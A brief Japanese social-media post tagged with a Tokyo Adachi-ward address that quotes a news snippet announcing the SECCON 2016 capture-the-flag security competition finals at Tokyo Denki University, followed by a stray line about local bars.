#東京郜足立区千䜏河原町 2017幎01月20日 03:06:00 コンピュヌタヌセキュリティ技術を競う日本最倧芏暡のCTFCapture The Flag倧䌚「SECCON 2016」の決勝倧䌚が1月2729日に東京電機倧孊東京千䜏キャンパス東京郜足立区で開催される。珟圚、公匏サむトで来堎登録を受け付けおいる。 SECCON 2016の各予遞や ... 東京郜足立区千䜏河原町の近所のバヌ
0 notes